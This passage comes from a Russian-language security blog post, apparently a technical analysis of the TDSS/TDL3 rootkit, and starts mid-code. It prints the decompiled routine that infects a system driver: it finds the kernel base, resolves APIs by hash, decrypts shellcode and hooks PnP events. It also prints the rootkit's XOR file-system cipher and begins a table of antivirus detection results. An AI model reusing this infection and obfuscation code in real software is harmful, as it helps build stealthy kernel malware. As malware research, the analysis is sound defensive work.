black;"&gt;)((&lt;/span&gt;&lt;span style="color: blue;"&gt;char&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;)DriverObject&lt;/span&gt;&lt;span style="color: black;"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color: black;"&gt;DriverStart &lt;/span&gt;&lt;span style="color: black;"&gt;+&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 5&lt;/span&gt; &lt;span style="color: black;"&gt;           &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;(_DWORD &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;)(DriverObject&lt;/span&gt;&lt;span style="color: black;"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color: black;"&gt;DriverStart &lt;/span&gt;&lt;span style="color: black;"&gt;+&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 6&lt;/span&gt; &lt;span style="color: black;"&gt;           &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;((_DWORD &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;)DriverObject&lt;/span&gt;&lt;span style="color: black;"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color: black;"&gt;DriverStart &lt;/span&gt;&lt;span style="color: black;"&gt;+&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;15&lt;/span&gt;&lt;span style="color: black;"&gt;) &lt;/span&gt;&lt;span style="color: black;"&gt;+&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;136&lt;/span&gt;&lt;span style="color: black;"&gt;));&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 7&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 8&lt;/span&gt; &lt;span style="color: black;"&gt;    &lt;/span&gt;&lt;span style="color: green;"&gt;//&lt;/span&gt;&lt;span style="color: green;"&gt; ищем адрес загрузки ядра&lt;/span&gt;&lt;span style="color: green;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 9&lt;/span&gt; &lt;span style="color: green;"&gt;&lt;/span&gt;&lt;span style="color: black;"&gt;    __asm { sidt fword ptr [ebp&lt;/span&gt;&lt;span style="color: black;"&gt;+&lt;/span&gt;&lt;span style="color: black;"&gt;var_10] }&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;10&lt;/span&gt; &lt;span style="color: black;"&gt;    kernel_base &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;(_DWORD &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;)(&lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;(_DWORD &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;)&lt;/span&gt;&lt;span style="color: black;"&gt;&amp;amp;&lt;/span&gt;&lt;span style="color: black;"&gt;v28[&lt;/span&gt;&lt;span style="color: purple;"&gt;2&lt;/span&gt;&lt;span style="color: black;"&gt;] &lt;/span&gt;&lt;span style="color: black;"&gt;+&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;512&lt;/span&gt;&lt;span style="color: black;"&gt;) &lt;/span&gt;&lt;span style="color: black;"&gt;&amp;amp;&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;0xF000&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: black;"&gt;|&lt;/span&gt;&lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;11&lt;/span&gt; &lt;span style="color: black;"&gt;                  (&lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;(_WORD &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;)(&lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;(_DWORD &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;)&lt;/span&gt;&lt;span style="color: black;"&gt;&amp;amp;&lt;/span&gt;&lt;span style="color: black;"&gt;v28[&lt;/span&gt;&lt;span style="color: purple;"&gt;2&lt;/span&gt;&lt;span style="color: black;"&gt;] &lt;/span&gt;&lt;span style="color: black;"&gt;+&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;518&lt;/span&gt;&lt;span style="color: black;"&gt;) &lt;/span&gt;&lt;span style="color: black;"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;16&lt;/span&gt;&lt;span style="color: black;"&gt;);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;12&lt;/span&gt; &lt;span style="color: black;"&gt;    &lt;/span&gt;&lt;span style="color: blue;"&gt;for&lt;/span&gt;&lt;span style="color: black;"&gt; (i &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; kernel_base; &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;(_WORD &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;)kernel_base &lt;/span&gt;&lt;span style="color: black;"&gt;!=&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: maroon;"&gt;'&lt;/span&gt;&lt;span style="color: maroon;"&gt;MZ&lt;/span&gt;&lt;span style="color: maroon;"&gt;'&lt;/span&gt;&lt;span style="color: black;"&gt;; i &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; kernel_base)&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;13&lt;/span&gt; &lt;span style="color: black;"&gt;        kernel_base &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; (kernel_base &lt;/span&gt;&lt;span style="color: black;"&gt;-&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;2&lt;/span&gt;&lt;span style="color: black;"&gt;) &lt;/span&gt;&lt;span style="color: black;"&gt;&amp;amp;&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;0xFFFFF000&lt;/span&gt;&lt;span style="color: black;"&gt;;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;14&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;15&lt;/span&gt; &lt;span style="color: black;"&gt;    &lt;/span&gt;&lt;span style="color: green;"&gt;//&lt;/span&gt;&lt;span style="color: green;"&gt; получаем адрес функции nt!ExAllocatePool()&lt;/span&gt;&lt;span style="color: green;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;16&lt;/span&gt; &lt;span style="color: green;"&gt;&lt;/span&gt;&lt;span style="color: black;"&gt;    __ExAllocatePool &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; _getapi(kernel_base, &lt;/span&gt;&lt;span style="color: purple;"&gt;0xDE45E96Cu&lt;/span&gt;&lt;span style="color: black;"&gt;);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;17&lt;/span&gt; &lt;span style="color: black;"&gt;    &lt;/span&gt;&lt;span style="color: green;"&gt;//&lt;/span&gt;&lt;span style="color: green;"&gt; выделяем память под структуру, в которой будут хранится &lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;18&lt;/span&gt; &lt;span style="color: green;"&gt;    &lt;/span&gt;&lt;span style="color: green;"&gt;//&lt;/span&gt;&lt;span style="color: green;"&gt; значения различных ключевых переменных, а так же &lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;19&lt;/span&gt; &lt;span style="color: green;"&gt;    &lt;/span&gt;&lt;span style="color: green;"&gt;//&lt;/span&gt;&lt;span style="color: green;"&gt; прочитанное с диска тело руткита&lt;/span&gt;&lt;span style="color: green;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;20&lt;/span&gt; &lt;span style="color: green;"&gt;&lt;/span&gt;&lt;span style="color: black;"&gt;    context &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; __ExAllocatePool(&lt;/span&gt;&lt;span style="color: purple;"&gt;0&lt;/span&gt;&lt;span style="color: black;"&gt;, &lt;/span&gt;&lt;span style="color: purple;"&gt;0x69A60u&lt;/span&gt;&lt;span style="color: black;"&gt;);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;21&lt;/span&gt; &lt;span style="color: black;"&gt;    memset(context, &lt;/span&gt;&lt;span style="color: purple;"&gt;0&lt;/span&gt;&lt;span style="color: black;"&gt;, &lt;/span&gt;&lt;span style="color: purple;"&gt;0x69A60u&lt;/span&gt;&lt;span style="color: black;"&gt;);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;22&lt;/span&gt; &lt;span style="color: black;"&gt;    &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;(_DWORD &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;)(context &lt;/span&gt;&lt;span style="color: black;"&gt;+&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;1968&lt;/span&gt;&lt;span style="color: black;"&gt;) &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; kernel_base;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;23&lt;/span&gt; &lt;span style="color: black;"&gt;    &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;(_DWORD &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;)(context &lt;/span&gt;&lt;span style="color: black;"&gt;+&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;352&lt;/span&gt;&lt;span style="color: black;"&gt;) &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; DriverObject;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;24&lt;/span&gt; &lt;span style="color: black;"&gt;    memcpy((&lt;/span&gt;&lt;span style="color: blue;"&gt;void&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;)(context &lt;/span&gt;&lt;span style="color: black;"&gt;+&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;1972&lt;/span&gt;&lt;span style="color: black;"&gt;), rsrc, &lt;/span&gt;&lt;span style="color: purple;"&gt;0x395u&lt;/span&gt;&lt;span style="color: black;"&gt;);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;25&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;26&lt;/span&gt; &lt;span style="color: black;"&gt;    &lt;/span&gt;&lt;span style="color: green;"&gt;//&lt;/span&gt;&lt;span style="color: green;"&gt; вызов оригинальной точки входа зараженного драйвера&lt;/span&gt;&lt;span style="color: green;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;27&lt;/span&gt; &lt;span style="color: green;"&gt;&lt;/span&gt;&lt;span style="color: black;"&gt;    status &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; ((&lt;/span&gt;&lt;span style="color: blue;"&gt;char&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;)DriverObject&lt;/span&gt;&lt;span style="color: black;"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color: black;"&gt;DriverStart &lt;/span&gt;&lt;span style="color: black;"&gt;+&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;(_DWORD &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;)(rsrc &lt;/span&gt;&lt;span style="color: black;"&gt;+&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;8&lt;/span&gt;&lt;span style="color: black;"&gt;)))(&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;28&lt;/span&gt; &lt;span style="color: black;"&gt;        DriverObject, RegistryPath);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;29&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;30&lt;/span&gt; &lt;span style="color: black;"&gt;    &lt;/span&gt;&lt;span style="color: green;"&gt;//&lt;/span&gt;&lt;span style="color: green;"&gt; расшифровка второй части шеллкода, которая выполняет роль &lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;31&lt;/span&gt; &lt;span style="color: green;"&gt;    &lt;/span&gt;&lt;span style="color: green;"&gt;//&lt;/span&gt;&lt;span style="color: green;"&gt; обработчика PnP событий, и читает с диска тело руткита&lt;/span&gt;&lt;span style="color: green;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;32&lt;/span&gt; &lt;span style="color: green;"&gt;&lt;/span&gt;&lt;span style="color: black;"&gt;    k &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;(_BYTE &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;)(rsrc &lt;/span&gt;&lt;span style="color: black;"&gt;+&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;16&lt;/span&gt;&lt;span style="color: black;"&gt;);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;33&lt;/span&gt; &lt;span style="color: black;"&gt;    code_len &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;433&lt;/span&gt;&lt;span style="color: black;"&gt;;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;34&lt;/span&gt; &lt;span style="color: black;"&gt;    code_ptr &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; context &lt;/span&gt;&lt;span style="color: black;"&gt;+&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;2456&lt;/span&gt;&lt;span style="color: black;"&gt;;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;35&lt;/span&gt; &lt;span style="color: black;"&gt;    &lt;/span&gt;&lt;span style="color: blue;"&gt;do&lt;/span&gt;&lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;36&lt;/span&gt; &lt;span style="color: black;"&gt;    {&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;37&lt;/span&gt; &lt;span style="color: black;"&gt;        &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;(_BYTE &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;)code_ptr&lt;/span&gt;&lt;span style="color: black;"&gt;++&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: black;"&gt;^=&lt;/span&gt;&lt;span style="color: black;"&gt; k&lt;/span&gt;&lt;span style="color: black;"&gt;++&lt;/span&gt;&lt;span style="color: black;"&gt;;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;38&lt;/span&gt; &lt;span style="color: black;"&gt;        &lt;/span&gt;&lt;span style="color: black;"&gt;--&lt;/span&gt;&lt;span style="color: black;"&gt;code_len;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;39&lt;/span&gt; &lt;span style="color: black;"&gt;    }&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;40&lt;/span&gt; &lt;span style="color: black;"&gt;    &lt;/span&gt;&lt;span style="color: blue;"&gt;while&lt;/span&gt;&lt;span style="color: black;"&gt; (code_len);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;41&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;42&lt;/span&gt; &lt;span style="color: black;"&gt;    &lt;/span&gt;&lt;span style="color: green;"&gt;//&lt;/span&gt;&lt;span style="color: green;"&gt; установка нотификатора для обработки PnP событий&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;43&lt;/span&gt; &lt;span style="color: green;"&gt;    &lt;/span&gt;&lt;span style="color: green;"&gt;//&lt;/span&gt;&lt;span style="color: green;"&gt; EventCategory = EventCategoryTargetDeviceChange&lt;/span&gt;&lt;span style="color: green;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;44&lt;/span&gt; &lt;span style="color: green;"&gt;&lt;/span&gt;&lt;span style="color: black;"&gt;    __IoRegisterPlugPlayNotification &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; _getapi(kernel_base, &lt;/span&gt;&lt;span style="color: purple;"&gt;0x48399F96u&lt;/span&gt;&lt;span style="color: black;"&gt;);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;45&lt;/span&gt; &lt;span style="color: black;"&gt;    __IoRegisterPlugPlayNotification(&lt;/span&gt;&lt;span style="color: purple;"&gt;2&lt;/span&gt;&lt;span style="color: black;"&gt;, &lt;/span&gt;&lt;span style="color: purple;"&gt;1&lt;/span&gt;&lt;span style="color: black;"&gt;, &lt;/span&gt;&lt;span style="color: black;"&gt;&amp;amp;&lt;/span&gt;&lt;span style="color: black;"&gt;v17, DriverObject, context &lt;/span&gt;&lt;span style="color: black;"&gt;+&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;2456&lt;/span&gt;&lt;span style="color: black;"&gt;, &lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;46&lt;/span&gt; &lt;span style="color: black;"&gt;        context, context &lt;/span&gt;&lt;span style="color: black;"&gt;+&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;348&lt;/span&gt;&lt;span style="color: black;"&gt;);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;47&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;48&lt;/span&gt; &lt;span style="color: black;"&gt;    &lt;/span&gt;&lt;span style="color: blue;"&gt;return&lt;/span&gt;&lt;span style="color: black;"&gt; status;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;49&lt;/span&gt; &lt;span style="color: black;"&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/pre&gt;Вторая часть кода заражения системного драйвера, исполняемая при появлении определённых PnP событий, выполняет открытие устройства, имя которого передаётся в обработчик. После этого код заражения читает из последних секторов открытого устройства тело руткита, которое хранится в собственной зашифрованной файловой системе руткита под именем "tdl".&lt;br /&gt;&lt;br /&gt;Стоит заметить, что начиная с версии 3.27 способ шифрования этой файловой системы несколько изменился: теперь вместо алгоритма RC4 со строкой "tdl" в качестве ключа используется инкрементальный XOR:&lt;br /&gt;&lt;pre&gt;&lt;div&gt;&lt;span style="color: teal;"&gt;1&lt;/span&gt; &lt;span style="color: green;"&gt;//&lt;/span&gt;&lt;span style="color: green;"&gt; функция расшифровки сектора (его размер равен 1024-м байтам)&lt;/span&gt;&lt;span style="color: green;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;2&lt;/span&gt; &lt;span style="color: green;"&gt;&lt;/span&gt;&lt;span style="color: blue;"&gt;void&lt;/span&gt;&lt;span style="color: black;"&gt; xor_encrypt(unsigned &lt;/span&gt;&lt;span style="color: blue;"&gt;char&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;buf, &lt;/span&gt;&lt;span style="color: blue;"&gt;int&lt;/span&gt;&lt;span style="color: black;"&gt; buf_len)&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;3&lt;/span&gt; &lt;span style="color: black;"&gt;{&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;4&lt;/span&gt; &lt;span style="color: black;"&gt;    unsigned &lt;/span&gt;&lt;span style="color: blue;"&gt;char&lt;/span&gt;&lt;span style="color: black;"&gt; key &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;0x54&lt;/span&gt;&lt;span style="color: black;"&gt;;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;5&lt;/span&gt; &lt;span style="color: black;"&gt;    &lt;/span&gt;&lt;span style="color: blue;"&gt;for&lt;/span&gt;&lt;span style="color: black;"&gt; (&lt;/span&gt;&lt;span style="color: blue;"&gt;int&lt;/span&gt;&lt;span style="color: black;"&gt; i &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;0&lt;/span&gt;&lt;span style="color: black;"&gt;; i &lt;/span&gt;&lt;span style="color: black;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: black;"&gt; buf_len; i&lt;/span&gt;&lt;span style="color: black;"&gt;++&lt;/span&gt;&lt;span style="color: black;"&gt;)&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;6&lt;/span&gt; &lt;span style="color: black;"&gt;    {&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;7&lt;/span&gt; &lt;span style="color: black;"&gt;        &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;(buf &lt;/span&gt;&lt;span style="color: black;"&gt;+&lt;/span&gt;&lt;span style="color: black;"&gt; i) &lt;/span&gt;&lt;span style="color: black;"&gt;^=&lt;/span&gt;&lt;span style="color: black;"&gt; key&lt;/span&gt;&lt;span style="color: black;"&gt;++&lt;/span&gt;&lt;span style="color: black;"&gt;;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;8&lt;/span&gt; &lt;span style="color: black;"&gt;    }&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;9&lt;/span&gt; &lt;span style="color: black;"&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/pre&gt;&lt;br /&gt;Формат самой файловой системы и логика её хранения на диске не изменились.&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;TDSS против антивирусных продуктов&lt;/h3&gt;В рамках исследования новых версий руткита мы провели тесты различных антивирусных программ с целью выяснения, насколько эффективно антивирусная индустрия противостоит руткиту TDSS на данный момент.&lt;br /&gt;&lt;br /&gt;Тестирование производилось на платформе VMware с установленной гостевой операционной системой Windows XP Professional SP3. Были протестированы последние на момент написания данной заметки версии тех антивирусных продуктов, в которых ранее была заявлена способность к детектированию или лечению TDL3. Кроме того, с целью выяснения эффективности используемой в инсталляторе руткита техники обхода проактивных защит, в тестирование были дополнительно включены продукты, обладающие наиболее продвинутыми функциями поведенческого анализа (Comodo, ZoneAlarm, Outpost и Kaspersky Internet Security).&lt;br /&gt;&lt;br /&gt;На виртуальную машину устанавливались последние версии тестируемых приложений, после чего осуществлялось обновление антивирусных баз и компонентов. Далее производился запуск инсталлятора руткита, перезагрузка гостевой ОС и полное сканирование системы тестируемым приложением с активацией всех возможных дополнительных настроек:&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;br /&gt;&lt;table border="1" cellpadding="5" cellspacing="0" style="border-collapse: collapse; border: 1px solid #000000;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td align="center" bgcolor="#EEEEEE"&gt;Название и версия программы&lt;/td&gt;&lt;td align="center" bgcolor="#EEEEEE" width="140"&gt;Обнаружение по поведению&lt;/td&gt;&lt;td align="center" bgcolor="#EEEEEE" width="140"&gt;Обнаружение активнго заражения&lt;/td&gt;&lt;td align="center" bgcolor="#EEEEEE" width="140"&gt;Лечение активного заражения&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="right" bgcolor="#EEEEEE"&gt;Dr.Web Security Space 6.00.0.04080&lt;/td&gt;&lt;td align="center"&gt;&lt;b&gt;N/A&lt;/b&gt;&lt;/td&gt;&lt;td align="center"&gt;&lt;b&gt;&lt;span style="color: green;"&gt;Yes&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;&lt;td align="center"&gt;&lt;b&gt;&lt;span style="color: green;"&gt;Yes&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="right" bgcolor="#EEEEEE"&gt;Kaspersky TDSSKiller 2.2.8.1&lt;/td&gt;&lt;td align="center"&gt;&lt;b&gt;N/A&lt;/b&gt;&lt;/td&gt;&lt;td align="center"&gt;&lt;span style="color: red;"&gt;Обнаружен неправильный файл&lt;/span&gt;&lt;/td&gt;&lt;td align="center"&gt;&lt;b&gt;&lt;span style="color: red;"&gt;No&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="right" bgcolor="#EEEEEE"&gt;Norman TDSS Cleaner 1.9.1.0&lt;/td&gt;&lt;td align="center"&gt;&lt;b&gt;N/A&lt;/b&gt;&lt;/td&gt;&lt;td align="center"&gt;&lt;b&gt;&lt;span style="color: green;"&gt;Yes&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;&lt;td align="center"&gt;&lt;b&gt;&lt;span style="color: green;"&gt;Yes&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="right" bgcolor="#EEEEEE"&gt;Vba32 AntiRootkit 3.12.4.0 &lt;/td&gt;&lt;td align="center"&gt;&lt;b&gt;N/A&lt;/b&gt;&lt;/td&gt;&lt;td align="center"&gt;&lt;b&gt;&lt;span style="color: red;"&gt;No&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;&lt;td align="center"&gt;&lt;b&gt;&lt;span style="color: red;"&gt;No&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="right" bgcolor="#EEEEEE"&gt;HitmanPro 3.5.5.98&lt;/td&gt;&lt;td align="center"&gt;&lt;b&gt;N/A&lt;/b&gt;&lt;/td&gt;&lt;td align="center"&gt;&lt;b&gt;&lt;span style="color: red;"&gt;No&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;&lt;td align="center"&gt;&lt;b&gt;&lt;span style="color: red;"&gt;No&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="right" bgcolor="#EEEEEE"&gt;MalwareBytes Anti-Malware 1.45&lt;/td&gt;&lt;td align="center"&gt;&lt;b&gt;N/A&lt;/b&gt;&lt;/td&gt;&lt;td align="center"&gt;&lt;b&gt;&lt;span style="color: red;"&gt;No&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;&lt;td align="center"&gt;&lt;b&gt;&lt;span style="color: red;"&gt;No&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="right" bgcolor="#EEEEEE"&gt;RootRepeal 2.0.0 Beta&lt;/td&gt;&lt;td align="center"&gt;&lt;b&gt;N/A&lt;/b&gt;&lt;/td&gt;&lt;td align="center"&gt;&lt;span style="color: red;"&gt;Только в памяти&lt;/span&gt; (без имени зараженного файла)&lt;/td&gt;&lt;td align="center"&gt;&lt;b&gt;&lt;span style="color: red;"&gt;No&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="right" bgcolor="#EEEEEE"&gt;Comodo Internet Security 3.14&lt;/td&gt;&lt;td 